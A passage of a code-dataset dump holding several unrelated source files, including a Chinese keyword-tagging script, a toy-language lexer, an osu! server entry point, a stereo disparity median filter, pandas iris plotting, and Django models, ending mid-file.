model.setCurrentAllPoints(currentStamps)\n model.setShowLevelsAnimations(hasMadeProgress)\n model.setIsCompleted(isCompleted)\n if hasMadeProgress:\n wt_event_sound.playProgressionLevelChanged()\n AccountSettings.setSettings(EVENT_LAST_LEVEL_SEEN, currentLevel)\n AccountSettings.setSettings(EVENT_LAST_STAMPS_SEEN, currentStamps)\n progression = self.__getItemsProgression()\n for level, rewards in progression:\n item = WtProgressionLevelModel()\n item.setLevel(level)\n packBonusModelAndTooltipData(rewards, item.rewardItems, self._tooltipItems, getWtEventBonusPacker())\n model.progression.addViewModel(item)\n\n def __getItemsProgression(self):\n result = []\n for data in self.__gameEventController.getConfig().progression:\n rewards = self.__gameEventController.getQuestRewards(data.get('quest', ''))\n result.append((data.get('level', 0), rewards))\n\n return result\n\n @staticmethod\n def __onAboutClick():\n showBrowserOverlayView(getInfoPageURL(), VIEW_ALIAS.BROWSER_OVERLAY)\n\n def __addListeners(self):\n self.viewModel.onAboutClick += self.__onAboutClick\n self.__gameEventController.onEventPrbChanged += self.__onEventPrbChanged\n self.__gameEventController.onProgressUpdated += self.__updateViewModel\n\n def __removeListeners(self):\n self.viewModel.onAboutClick -= self.__onAboutClick\n self.__gameEventController.onEventPrbChanged -= self.__onEventPrbChanged\n self.__gameEventController.onProgressUpdated -= self.__updateViewModel\n\n def __onEventPrbChanged(self, isActive):\n self.__checkAndCloseBrowserView()\n if not isActive:\n self.destroyWindow()\n\n def __checkAndCloseBrowserView(self):\n app = self.__appLoader.getApp()\n if app is None:\n return\n else:\n view = app.containerManager.getViewByKey(ViewKey(VIEW_ALIAS.BROWSER_OVERLAY))\n if view is None:\n return\n view.destroy()\n return\n","sub_path":"source/res/scripts/client/gui/impl/lobby/wt_event/wt_event_progression_view.py","file_name":"wt_event_progression_view.py","file_ext":"py","file_size_in_byte":7334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"340361965","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n# import urllib2\n# import os\nimport re\n# import pymysql\nimport time\nimport multiprocessing\nfrom package import Libs\nimport jieba\nimport jieba.analyse\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\n# set the maximum depth as 1500\nsys.setrecursionlimit(50000)\n\n# 主要方法\ndef main():\n ob = Libs.Libs()\n conn = ob.conn()\n cur = conn.cursor()\n jieba.enable_parallel(4)\n db = 'logdb'\n\n for i in range(1, 5000, 1):\n try:\n sql = (\"select content,title from \" + db + \".news where id='%d'\" % (i))\n cur.execute(sql)\n # conn.commit()\n results = cur.fetchone()\n # print(results)\n if results == None:\n print(i)\n continue\n title = results[1]\n content = results[0]\n content = content.strip()\n content = content + title\n tags = jieba.analyse.textrank(content, 5)\n print('|'.join(tags))\n sql = (\"update \" + db + \".news set tags = '%s' where id = '%d' \" % ('|'.join(tags), i))\n print(sql)\n cur.execute(sql)\n conn.commit()\n except Exception as err:\n print(str(i) + '-' + err.__str__())\n\n\nif __name__ == \"__main__\":\n t = time.time()\n main()\n print(\"Multiprocess Http Request\", (time.time() - t))\n","sub_path":"jb.py","file_name":"jb.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"258188676","text":"# Таблиця лексем мови\ntableOfLanguageTokens = {'program': 'keyword', 'end': 'keyword', 'print': 'keyword', 'input': 'keyword', 'if': 'keyword',\n 'for': 'keyword', 'then': 'keyword', 'goto': 'keyword', 'int': 'keyword', 'bool': 'keyword',\n 'real': 'keyword', '=': 'assign_op', '.': 'dot', ' ': 'ws', '\\t': 'ws', '\\n': 'nl',\n '-': 'add_op', '+': 'add_op', '*': 'mult_op', '/': 'mult_op', '(': 'brackets_op',\n ')': 'brackets_op', '{': 'punct', '}': 'punct', ';': 'punct', '<': 'rel_op', '>': 'rel_op',\n '^': 'pow_op'}\n# Решту токенів визначаємо не за лексемою, а за заключним станом\ntableIdentFloatInt = {2: 'ident', 6: 'real', 9: 'int'}\n\n# Діаграма станів\n# Q q0 F\n# M = ({0,1,2,4,5,6,9,11,12,13,14,101,102}, Σ, δ , 0 , {2,6,9,12,13,14,101,102})\n\n# δ - state-transition_function\nstf = {(0, 'Letter'): 1, (1, 'Letter'): 1, (1, 'Digit'): 1, (1, 'other'): 2, \\\n (0, 'Digit'): 4, (4, 'Digit'): 4, (4, 'dot'): 5, (4, 'other'): 9, (5, 'Digit'): 5, (5, 'other'): 6, \\\n (0, '='): 12, \\\n (11, 'other'): 102, \\\n (0, 'ws'): 0, \\\n (0, 'nl'): 13, \\\n (0, '+'): 14, (0, '-'): 14, (0, '*'): 14, (0, '/'): 14, (0, '('): 14, (0, ')'): 14, (0, '{'): 14, (0, '}'): 14,\n (0, '<'): 14, (0, '>'): 14, (0, ';'): 14, (0, '^'): 14, \\\n (0, 'other'): 101\n }\n\ninitState = 0 # q0 - стартовий стан\nF = {2, 6, 9, 12, 13, 14, 101, 102}\nFstar = {2, 6, 9} # зірочка\nFerror = {101, 102} # обробка помилок\n\ntableOfId = {} # Таблиця ідентифікаторів\ntableOfConst = {} # Таблиць констант\ntableOfSymb = {} # Таблиця символів програми (таблиця розбору)\n\nstate = initState # поточний стан\n\nf = open('test1.my_lang', 'r')\nsourceCode = f.read()\nf.close()\n\n# FSuccess - ознака успішності розбору\nFSuccess = (True, 'Lexer')\n\nlenCode = len(sourceCode) - 1 # номер останнього символа у файлі з кодом програми\nnumLine = 1 # лексичний аналіз починаємо з першого рядка\nnumChar = -1 # з першого символа (в Python'і нумерація - з 0)\nchar = '' # ще не брали жодного символа\nlexeme = '' # ще не починали розпізнавати лексеми\n\n\ndef lex():\n global state, numLine, char, lexeme, numChar, FSuccess\n try:\n while numChar < lenCode:\n char = nextChar() # прочитати наступний символ\n classCh = classOfChar(char) # до якого класу належить\n state = nextState(state, classCh) # обчислити наступний стан\n if (is_final(state)): # якщо стан заключний\n processing() # виконати семантичні процедури\n # if state in Ferror:\t # якщо це стан обробки помилки\n # break\t\t\t\t\t# то припинити подальшу обробку\n elif state == initState:\n lexeme = '' # якщо стан НЕ заключний, а стартовий - нова лексема\n else:\n lexeme += char # якщо стан НЕ закл. і не стартовий - додати символ до лексеми\n print('Lexer: Лексичний аналіз завершено успішно')\n except SystemExit as e:\n # Встановити ознаку неуспішності\n FSuccess = (False, 'Lexer')\n # Повідомити про факт виявлення помилки\n print('Lexer: Аварійне завершення програми з кодом {0}'.format(e))\n\n\ndef processing():\n global state, lexeme, char, numLine, numChar, tableOfSymb\n if state == 13: # \\n\n numLine += 1\n state = initState\n if state in (2, 6, 9): # keyword, ident, float, int\n token = getToken(state, lexeme)\n if token != 'keyword': # не keyword\n index = indexIdConst(state, lexeme)\n print('{0:<3d} {1:<10s} {2:<10s} {3:<2d} '.format(numLine, lexeme, token, index))\n tableOfSymb[len(tableOfSymb) + 1] = (numLine, lexeme, token, index)\n else: # якщо keyword\n print('{0:<3d} {1:<10s} {2:<10s} '.format(numLine, lexeme, token)) # print(numLine,lexeme,token)\n tableOfSymb[len(tableOfSymb) + 1] = (numLine, lexeme, token, '')\n lexeme = ''\n numChar = putCharBack(numChar) # зірочка\n state = initState\n if state in (12, 14): # 12: # assign_op # in (12,14):\n lexeme += char\n token = getToken(state, lexeme)\n print('{0:<3d} {1:<10s} {2:<10s} '.format(numLine, lexeme, token))\n tableOfSymb[len(tableOfSymb) + 1] = (numLine, lexeme, token, '')\n lexeme = ''\n state = initState\n if state in Ferror: # (101,102): # ERROR\n fail()\n\n\ndef fail():\n global state, numLine, char\n print(numLine)\n if state == 101:\n print('Lexer: у рядку ', numLine, ' неочікуваний символ ' + char)\n exit(101)\n if state == 102:\n print('Lexer: у рядку ', numLine, ' очікувався символ =, а не ' + char)\n exit(102)\n\n\ndef is_final(state):\n if (state in F):\n return True\n else:\n return False\n\n\ndef nextState(state, classCh):\n try:\n return stf[(state, classCh)]\n except KeyError:\n return stf[(state, 'other')]\n\n\ndef nextChar():\n global numChar\n numChar += 1\n return sourceCode[numChar]\n\n\ndef putCharBack(numChar):\n return numChar - 1\n\n\ndef classOfChar(char):\n if char in '.':\n res = \"dot\"\n elif char in 'abcdefghijklmnopqrstuvwxyz':\n res = \"Letter\"\n elif char in \"0123456789\":\n res = \"Digit\"\n elif char in \" \\t\":\n res = \"ws\"\n elif char in \"\\n\":\n res = \"nl\"\n elif char in \"+-=*/(){}<>;^\":\n res = char\n else:\n res = 'символ не належить алфавіту'\n return res\n\n\ndef getToken(state, lexeme):\n try:\n return tableOfLanguageTokens[lexeme]\n except KeyError:\n return tableIdentFloatInt[state]\n\n\ndef indexIdConst(state, lexeme):\n indx = 0\n if state == 2:\n indx = tableOfId.get(lexeme)\n #\t\ttoken=getToken(state,lexeme)\n if indx is None:\n indx = len(tableOfId) + 1\n tableOfId[lexeme] = indx\n if state == 6:\n indx = tableOfConst.get(lexeme)\n if indx is None:\n indx = len(tableOfConst) + 1\n tableOfConst[lexeme] = indx\n if state == 9:\n indx = tableOfConst.get(lexeme)\n if indx is None:\n indx = len(tableOfConst) + 1\n tableOfConst[lexeme] = indx\n return indx\n\n\n# запуск лексичного аналізатора\t\nlex()\n\n# Таблиці: розбору, ідентифікаторів та констант\nprint('-' * 30)\nprint('tableOfSymb:{0}'.format(tableOfSymb))\nprint('tableOfId:{0}'.format(tableOfId))\nprint('tableOfConst:{0}'.format(tableOfConst))\n","sub_path":"FP_Parser/lex_my_lang.py","file_name":"lex_my_lang.py","file_ext":"py","file_size_in_byte":7460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"627387744","text":"import sys\n\n\n\nresults = {}\nlanguages = set()\n\nwith open(sys.argv[1], \"r\") as f:\n headers = f.readline().strip().split(\",\")\n\n for lines in f:\n split = lines.strip().split(\",\")\n\n lang = split[0][4:6]\n if lang not in languages:\n languages.add(lang)\n results[lang] = { \"testing\": {}, \"training\": {}, \"validation\": {} }\n\n file_type = split[0][7:split[0].index(\".\")]\n\n for i, value in enumerate(split):\n results[lang][file_type][headers[i]] = value\n\n\nprint(\"language, training tokens, training distinct, training avg. tokens, testing tokens, testing distinct, testing avg. tokens\")\nfor lang in languages:\n training = results[lang][\"training\"]\n testing = results[lang][\"testing\"]\n\n print(lang, training[\"tokens\"], training[\"distinct tokens\"], training[\"average tokens\"], testing[\"tokens\"], testing[\"distinct tokens\"], testing[\"average tokens\"], sep = \",\")\n\n\n\n","sub_path":"data/transform_metadata.py","file_name":"transform_metadata.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"19192405","text":"# -*- coding: utf-8 -*-\n\n# If you're interested in development, my test server is often up\n# at 51.161.34.235 - registration is done on login, so login with\n# whatever username you'd like; the cert is Akatsuki's.\n\n__all__ = ()\n\nif __name__ != '__main__':\n raise Exception('main.py is meant to be run directly!')\n\nimport asyncio\nimport uvloop # faster than stdlib asyncio event loop\nimport aiohttp\nimport orjson # faster & more accurate than stdlib json\nimport cmyui # web & db\nimport time\nimport os\n\nfrom console import *\nfrom handlers import *\n\nfrom objects import glob\nfrom objects.player import Player\nfrom objects.channel import Channel\nfrom constants.privileges import Privileges\nfrom constants import regexes\n\n# Set CWD to /gulag.\nos.chdir(os.path.dirname(os.path.realpath(__file__)))\n\nasync def handle_conn(conn: cmyui.AsyncConnection):\n if 'Host' not in conn.req.headers:\n await conn.resp.send(400, b'Missing required headers.')\n return\n\n st = time.time_ns()\n handler = None\n\n # Match the host & uri to the correct handlers.\n if regexes.bancho_domain.match(conn.req.headers['Host']):\n if conn.req.path == '/':\n handler = handle_bancho\n\n elif conn.req.headers['Host'] == 'osu.ppy.sh':\n if conn.req.startswith('/web/'):\n handler = handle_web\n elif conn.req.startswith('/ss/'):\n handler = handle_ss # screenshots\n elif conn.req.startswith('/d/'):\n handler = handle_dl # osu!direct\n elif conn.req.startswith('/api/'):\n handler = handle_api # gulag!api\n\n elif conn.req.headers['Host'] == 'a.ppy.sh':\n handler = handle_avatar # avatars\n\n if handler:\n # We have a handler for this request.\n await handler(conn)\n else:\n # We have no such handler.\n await plog(f'Unhandled {conn.req.path}.', Ansi.LIGHT_RED)\n await conn.resp.send(400, b'Request handler not implemented.')\n\n time_taken = (time.time_ns() - st) / 1000 # nanos -> micros\n time_str = (f'{time_taken:.2f}μs' if time_taken < 1000\n else f'{time_taken / 1000:.2f}ms')\n\n await plog(f'Handled in {time_str}.', Ansi.LIGHT_CYAN)\n\nasync def run_server(loop: uvloop.Loop, addr: cmyui.Address):\n glob.version = cmyui.Version(2, 2, 8)\n glob.http = aiohttp.ClientSession(json_serialize=orjson.dumps)\n\n glob.db = cmyui.AsyncSQLPool()\n await glob.db.connect(loop, **glob.config.mysql)\n\n # Aika\n glob.bot = Player(id = 1, name = 'Aika', priv = Privileges.Normal)\n glob.bot.ping_time = 0x7fffffff\n\n await glob.bot.stats_from_sql_full() # no need to get friends\n await glob.players.add(glob.bot)\n\n # Add all channels from db.\n async for chan in glob.db.iterall('SELECT * FROM channels'):\n await glob.channels.add(Channel(**chan))\n\n async with cmyui.AsyncTCPServer(addr) as serv:\n await plog(f'Gulag v{glob.version} online!', Ansi.LIGHT_GREEN)\n async for conn in serv.listen(loop, glob.config.max_conns):\n asyncio.create_task(handle_conn(conn))\n\n# TODO: add some kind of config insurance to\n# check for small incompatabilities, such\n# as a trailing / in a url.\n\n# Create the event loop & run the server.\nloop = uvloop.new_event_loop()\nasyncio.set_event_loop(loop)\nloop.create_task(run_server(loop, glob.config.server_addr))\n\ntry:\n loop.run_forever()\nfinally:\n loop.close()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"581819341","text":"#!/usr/bin/env python\n# coding: utf8\n#\n# Copyright (c) 2020 Centre National d'Etudes Spatiales (CNES).\n#\n# This file is part of PANDORA\n#\n# https://github.com/CNES/Pandora_pandora\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\"\"\"\nThis module contains functions associated to the median filter used to filter the disparity map.\n\"\"\"\nimport logging\nimport sys\nimport numpy as np\nimport warnings\nfrom json_checker import Checker, And\nfrom typing import Dict, Union, cast\nimport xarray as xr\n\nfrom . import filter\nfrom pandora.constants import *\n\n\n@filter.AbstractFilter.register_subclass('median')\nclass MedianFilter(filter.AbstractFilter):\n \"\"\"\n MedianFilter class allows to perform the filtering step\n \"\"\"\n # Default configuration, do not change this value\n _FILTER_SIZE = 3\n\n def __init__(self, **cfg: Union[str, int]):\n \"\"\"\n :param cfg: optional configuration, {'filter_size': value}\n :type cfg: dictionary\n \"\"\"\n self.cfg = self.check_conf(**cfg)\n self._filter_size = cast(int, self.cfg['filter_size'])\n\n def check_conf(self, **cfg: Union[str, int]) -> Dict[str, Union[str, int]]:\n \"\"\"\n Add default values to the dictionary if there are missing elements and check if the dictionary is correct\n\n :param cfg: filter configuration\n :type cfg: dict\n :return cfg: filter configuration updated\n :rtype: dict\n \"\"\"\n # Give the default value if the required element is not in the configuration\n if 'filter_size' not in cfg:\n cfg['filter_size'] = self._FILTER_SIZE\n\n schema = {\n \"filter_method\": And(str, lambda x: 'median'),\n \"filter_size\": And(int, lambda x: x >= 1 and x % 2 != 0)\n }\n\n checker = Checker(schema)\n checker.validate(cfg)\n return cfg\n\n def desc(self):\n \"\"\"\n Describes the filtering method\n \"\"\"\n print('Median filter description')\n\n def filter_disparity(self, disp: xr.Dataset, img_ref: xr.Dataset = None, img_sec: xr.Dataset = None,\n cv: xr.Dataset = None) -> xr.Dataset:\n \"\"\"\n Apply a median filter on valid pixels.\n Invalid pixels are not filtered. If a valid pixel contains an invalid pixel in its filter, the invalid pixel is\n ignored for the calculation of the median.\n\n :param disp: the disparity map dataset\n :type disp:\n xarray.Dataset with the variables :\n - disparity_map 2D xarray.DataArray (row, col)\n - confidence_measure 3D xarray.DataArray (row, col, indicator)\n - validity_mask 2D xarray.DataArray (row, col)\n :param img_ref: reference Dataset image\n :tye img_ref: xarray.Dataset\n :param img_sec: secondary Dataset image\n :type img_sec: xarray.Dataset\n :param cv: cost volume dataset\n :type cv: xarray.Dataset\n :return: the Dataset with the filtered DataArray disparity_map\n :rtype:\n xarray.Dataset with the variables :\n - disparity_map 2D xarray.DataArray (row, col)\n - confidence_measure 3D xarray.DataArray (row, col, indicator)\n - validity_mask 2D xarray.DataArray (row, col)\n \"\"\"\n # Invalid pixels are nan\n masked_data = disp['disparity_map'].copy(deep=True).data\n masked_data[np.where((disp['validity_mask'].data & PANDORA_MSK_PIXEL_INVALID) != 0)] = np.nan\n disp_median = np.copy(masked_data)\n\n valid = np.isfinite(masked_data)\n ny_, nx_ = masked_data.shape\n\n # Created a view of each window, by manipulating the internal data structure of array\n # The view allow to looking at the array data in memory in a new way, without additional cost on the memory.\n str_row, str_col = masked_data.strides\n shape_windows = (\n ny_ - (self._filter_size - 1), nx_ - (self._filter_size - 1), self._filter_size, self._filter_size)\n strides_windows = (str_row, str_col, str_row, str_col)\n aggregation_window = np.lib.stride_tricks.as_strided(masked_data, shape_windows, strides_windows)\n\n radius = int(self._filter_size / 2)\n\n # To reduce memory, the disparity card is split (along the row axis) into multiple sub-arrays with a step of 100\n disp_chunked_y = np.array_split(aggregation_window, np.arange(100, ny_, 100), axis=0)\n y_begin = radius\n\n with warnings.catch_warnings():\n warnings.filterwarnings('ignore', r'All-NaN (slice|axis) encountered')\n # numpy.nanmedian : Compute the median along the specified axis, while ignoring NaNs (i.e if valid pixel\n # contains an invalid pixel in its filter, the invalid pixel is ignored because invalid pixels are nan )\n for y in range(len(disp_chunked_y)):\n # To reduce memory, the disparity card is split (along the col axis) into multiple sub-arrays with a step of 100\n disp_chunked_x = np.array_split(disp_chunked_y[y], np.arange(100, nx_, 100), axis=1)\n x_begin = radius\n\n for x in range(len(disp_chunked_x)):\n y_end = y_begin + disp_chunked_y[y].shape[0]\n x_end = x_begin + disp_chunked_x[x].shape[1]\n disp_median[y_begin:y_end, x_begin:x_end] = np.nanmedian(disp_chunked_x[x], axis=(2, 3))\n x_begin += disp_chunked_x[x].shape[1]\n\n y_begin += disp_chunked_y[y].shape[0]\n\n disp['disparity_map'].data[valid] = disp_median[valid]\n disp.attrs['filter'] = 'median'\n del disp_median, masked_data, aggregation_window\n return disp\n","sub_path":"pandora/filter/median.py","file_name":"median.py","file_ext":"py","file_size_in_byte":6213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"343202592","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Mar 18 13:43:13 2019\n\n@author: alexlo\n\"\"\"\n\nimport pandas as pd\n#pd.set()\nfile = 'Books.csv'\ndf = pd.read_csv(file)\n#print(df.isna().sum())\n#to show the number of null value in each column\n\nnum_of_rows = df.shape[0]\ncolumns_to_drop=[]\nfor column in df:\n # df[column].isnull() : returns an array of True/False showing the cell is null or not\n percent = 100 * df[column].isnull().sum() / num_of_rows\n# print(column, str(percent) + '%')\n if percent > 0:\n columns_to_drop.append(column)\n#print(columns_to_drop)\n\ndef replace(x):\n if 'London' in x:\n return 'London'\n elif ' ' in x:\n return x.replace(' ','_')\n else:\n return x\n\n#print(df['Place of Publication'])\n#df['Place of Publication'] = df['Place of Publication'].apply(\n# lambda x: 'London' if 'London' in x else x.replace('-', ' '))\n\ndf['Place of Publication'] = df['Place of Publication'].apply(replace)\n#print(df['Date of Publication'])\ndf['Date of Publication'] = df['Date of Publication'].fillna(0)\n#print(df['Date of Publication'])\nnew_date = df['Date of Publication'].str.extract(r'^(\\d{4})', expand=False)\n#df['Date of Publication'] = df['Date of Publication'].str.extract(r'^(/d{4})',expand=False)\ndf['Date of Publication'] = new_date.fillna(0)\n#print(df['Date of Publication'])\n\nplace = df['Place of Publication']\n#print(place)\nchart = place.value_counts().plot.bar()\n\n#chart = place.value_counts().plot.pie()\n\niris = pd.read_csv('iris.csv')\n#print(iris)\nspecies = iris['species']\n#print(species.value_counts())\n\nversicolor = iris.query(\"species == 'versicolor'\")\n#print(versicolor)\n\nvirginica = iris[iris['species']=='virginica']\n#print(virginica)\n\nsetosa = iris[iris['species']=='setosa']\n#print(setosa)\n\nversicolor.plot.kde()\n#kernal estimation\npd.scatter_matrix(virginica)\n\nimport matplotlib.pyplot as plt\nfig, axes = plt.subplots(nrows=1, ncols=2,figsize=(10,5))\n\na1 = versicolor.plot(kind = 'scatter', x='sepal_length', y='sepal_width',c='green',label='versicolor', ax=axes[0])\na2 = virginica.plot(kind = 'scatter', x='sepal_length', y='sepal_width',c='black',label='virginica',ax=a1)\na3 = setosa.plot(kind = 'scatter', x='sepal_length', y='sepal_width',c='red',label='setosa',ax=a1)\n\nb1 = versicolor.plot(kind = 'scatter', x='petal_length', y='petal_width',c='green',label='versicolor', ax=axes[1])\nb2 = virginica.plot(kind = 'scatter', x='petal_length', y='petal_width',c='black',label='virginica',ax=b1)\nb3 = setosa.plot(kind = 'scatter', x='petal_length', y='petal_width',c='red',label='setosa',ax=b1)\nplt.show()","sub_path":"COMP9321_文字版/匠人资料/lab/lab2/lab2.py","file_name":"lab2.py","file_ext":"py","file_size_in_byte":2603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"526437542","text":"# -*- coding: utf-8 -*-\n'''\nCreated on 2015-1-28\n\n@author: z.q.ot\n'''\nimport types\n\n\n# 司机登录用户名\nDRIVER_USERNAME = 'soil'\n\n# 司机登录密码\nDRIVER_PASSWORD = 'soil'\n\n# 司机授权获取的TOKEN_ID\nTOKEN_ID = ''\n\n# 字符编码格式\nDRIVER_INPUT_CHARSET = 'utf-8'\n\n# 网关地址\n_GATEWAY = 'http://192.168.1.150:6789/api/'\n\n# 各API接口列表\n##trailers_handle\n###司机登录接口\ntrailers_handle_driver_login = 'trailers_handle/driver_login/'\ntrailers_handle_get_trailer_driver = 'trailers_handle/get_trailer_driver/'\ntrailers_handle_create_trailer_schedule = 'trailers_handle/create_trailer_schedule/'\ntrailers_handle_search_trailer_schedule = 'trailers_handle/search_trailer_schedule/'\n\n### 计划任务new_plan\nnew_plan_check = 'new_plan/check/'\nnew_plan_accept = 'new_plan/accept/'\nnew_plan_reject = 'new_plan/reject/'\n\n### plans \nplans_detail = 'plans/detail/'\nplans_detail_today = 'plans/detail_today/'\nplans_list = 'plans/list/'\n\n### order\norder_create = 'order/create/'\norder_cancel = 'order/cancel/'\norder_delete_draft = 'order/delete_draft'\norder_get = 'order/get/'\n\n\ndef md5(strs):\n import hashlib\n if type(strs) is types.StringType:\n m = hashlib.md5()\n m.update(strs)\n return m.hexdigest()\n else:\n return ''\n \ndef smart_str(s, encoding='utf-8', strings_only=False, errors='strict'):\n \"\"\"\n Returns a bytestring version of 's', encoded as specified in 'encoding'.\n\n If strings_only is True, don't convert (some) non-string-like objects.\n \"\"\"\n if strings_only and isinstance(s, (types.NoneType, int)):\n return s\n if not isinstance(s, basestring):\n try:\n return str(s)\n except UnicodeEncodeError:\n if isinstance(s, Exception):\n # An Exception subclass containing non-ASCII data that doesn't\n # know how to print itself properly. We shouldn't raise a\n # further exception.\n return ' '.join([smart_str(arg, encoding, strings_only,\n errors) for arg in s])\n return unicode(s).encode(encoding, errors)\n elif isinstance(s, unicode):\n return s.encode(encoding, errors)\n elif s and encoding != 'utf-8':\n return s.decode('utf-8', errors).encode(encoding, errors)\n else:\n return s","sub_path":"LogisticsTest/src/Logistics/setting.py","file_name":"setting.py","file_ext":"py","file_size_in_byte":2381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"345851191","text":"# http://api.openweathermap.org/data/2.5/weather?q=Goleta&APPID=bc406a21e03e694e8d239386b3b83d53\n# python3 -m pip install --user requests\n# import requests, json\n# API_KEY = \"YOUR KEY HERE\"\n# BASE_URL = \"http://api.openweathermap.org/data/2.5/weather?\"\n\n# city_name = 'Goleta'\n# complete_url = BASE_URL + \"appid=\" + API_KEY + \"&q=\" + city_name\n# response = requests.get(complete_url)\n# data = response.json()\n\nimport requests\n\nurl = \"https://restcountries.eu/rest/v2/name/united%20states%20of%20america\"\n\nresponse = requests.get(url)\n\nprint(response.json()[0]['name'])","sub_path":"class-code/reading-files/api-requests.py","file_name":"api-requests.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"241619070","text":"#! -*- coding:utf-8 -*-\n\nimport re\nimport cgi\nimport email\nimport email.Message\n\nfrom mudy import encoding \nfrom mudy.datastruct import MultiValDict\n\nclass HttpRequest(object):\n DEFALUT_RAISE = object()\n\n def __init__(self):\n self.META = QueryDict()\n self.GET = QueryDict()\n self.POST = {}\n self.COOKIES = {}\n self.FILES = {}\n self.SESSION = {}\n\n self.method = None\n self.path = None\n\n def __str__(self):\n return None\n \n def get_host(self):\n host = self.META['SERVER_NAME']\n port = self.META['SERVER_PORT']\n if port not in ('443', '80'):\n host = '%s:%s' % (host, port)\n domain, port = split_domain_port(host)\n return host\n\n def get_full_path(self, force_slash = False):\n full_path = '%s%s%s' % (\n encoding.escape_uri_path(self.path),\n ('/' if force_slash and not self.endswith('/') else ''),\n ('?' + encoding.iri_to_uri(self.META.get('QUERY_STRING', '')) if self.META.get('QUERY_STRING', '') else ''),\n )\n return full_path\n\n def _load_post_and_file(self):\n if self.method != 'POST':\n self._post, self._files = QueryDict(), MultiValDict()\n else:\n contetn_type = self.META.get('CONTENT_TYPE', '')\n ## only for form-data\n if contetn_type.startswith('multipart/form-data'):\n datas = cgi.FieldStorage()\n for key in datas.keys():\n if datas[key].file:\n self._files[key] = datas[key]\n self._post[key] = datas[key]\n \n elif contetn_type.startswith('application/x-www-form-urlencoded'):\n self._post, self._files = QueryDict(self.STREAM), MultiValDict()\n else:\n self._post, self._files = QueryDict(), MultiValDict()\n \n\n\nclass QueryDict(MultiValDict):\n def __init__(self, query_str = ''):\n super(QueryDict, self).__init__()\n for key, val in cgi.parse_qsl(query_str):\n self.appendlist(key, encoding.decode_utf8(val))\n\n\ndef split_domain_port(host):\n HOST_RE = re.compile(r\"^([a-z0-9.-]+|\\[[a-f0-9]*:[a-f0-9:]+\\])(:\\d+)?$\")\n host = host.lower()\n if not HOST_RE.match(host):\n return '', ''\n result = host.rsplit(':', 1)\n if len(result) == 2:\n return result[0], result[1]\n return result[0], ''\n","sub_path":"mudy/http/request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":2447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"99203627","text":"import logging\nfrom collections import defaultdict\nfrom urllib2 import URLError\n\nfrom django.contrib.gis import geos\nfrom django.contrib.gis.db import models\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.core.urlresolvers import reverse\nfrom django.db.models import Q\nfrom django.template import TemplateDoesNotExist\nfrom django.template.defaultfilters import slugify\nfrom django.template.loader import render_to_string\nfrom django.utils.functional import cached_property\nfrom django.utils.safestring import mark_safe\n\ntry:\n from geopy import geocoders\n CAN_GEOCODE = True\nexcept ImportError:\n CAN_GEOCODE = False\n\nfrom tx_lege_districts.models import District\nfrom tx_lege_districts.constants import SBOE\n\n\nclass SummarySentences(object):\n def __init__(self, obj):\n self.obj = obj\n self.path = '%s/sentences/%s/%%s.txt' % (obj._meta.app_label,\n obj._meta.model_name)\n self.cache = {}\n\n def __getattr__(self, key):\n if not key in self.cache:\n self.cache[key] = self.generate_sentence(key)\n return self.cache[key]\n\n def generate_sentence(self, name):\n try:\n string = render_to_string(\n self.path % name, context={'obj': self.obj}\n ).strip()\n return mark_safe(string)\n except TemplateDoesNotExist:\n return None\n\n\nclass DistrictsSentence(object):\n def __init__(self, obj, *districts):\n self.obj = obj\n self.districts = districts\n\n def __unicode__(self):\n clauses = map(self.make_clause, self.districts)\n if len(clauses) <= 2:\n joined_clauses = u' and '.join(clauses)\n else:\n clauses[-1] = u'and %s' % (clauses[-1])\n joined_clauses = ', '.join(clauses)\n\n return u'%s is represented by %s' % (\n self.obj.sentence_name, joined_clauses)\n\n def make_clause(self, district):\n representative = district.representative\n if hasattr(district, 'get_absolute_url'):\n district_string = u'<a href=\"%s\">%s</a>' % (\n district.get_absolute_url(), district)\n else:\n district_string = unicode(district)\n\n if not representative:\n return district_string\n elif hasattr(representative, 'get_absolute_url'):\n representative_string = u'<a href=\"%s\">%s</a>' % (\n representative.get_absolute_url(), representative)\n else:\n representative_string = unicode(representative)\n\n return u'%s in %s' % (representative_string, district_string)\n\n\nAPP_LABEL = 'tx_highered'\n\n\nINSTITUTION_CHOICES = (\n (\"uni\", \"University\"),\n (\"med\", \"Health-Related Institutions\"),\n (\"pub_cc\", \"Community College\"),\n (\"pub_tech\", \"Technical College System\"),\n (\"pub_state\", \"State Colleges\"),\n (\"pri_jr\", \"Junior College\"),\n (\"pri_chi\", \"Chiropractic Institution\"),\n )\n\n\nclass ContactFieldsMixin(models.Model):\n address = models.CharField(max_length=200, null=True, blank=True)\n city = models.CharField(max_length=50, null=True, blank=True)\n zip_code = models.CharField(max_length=10, 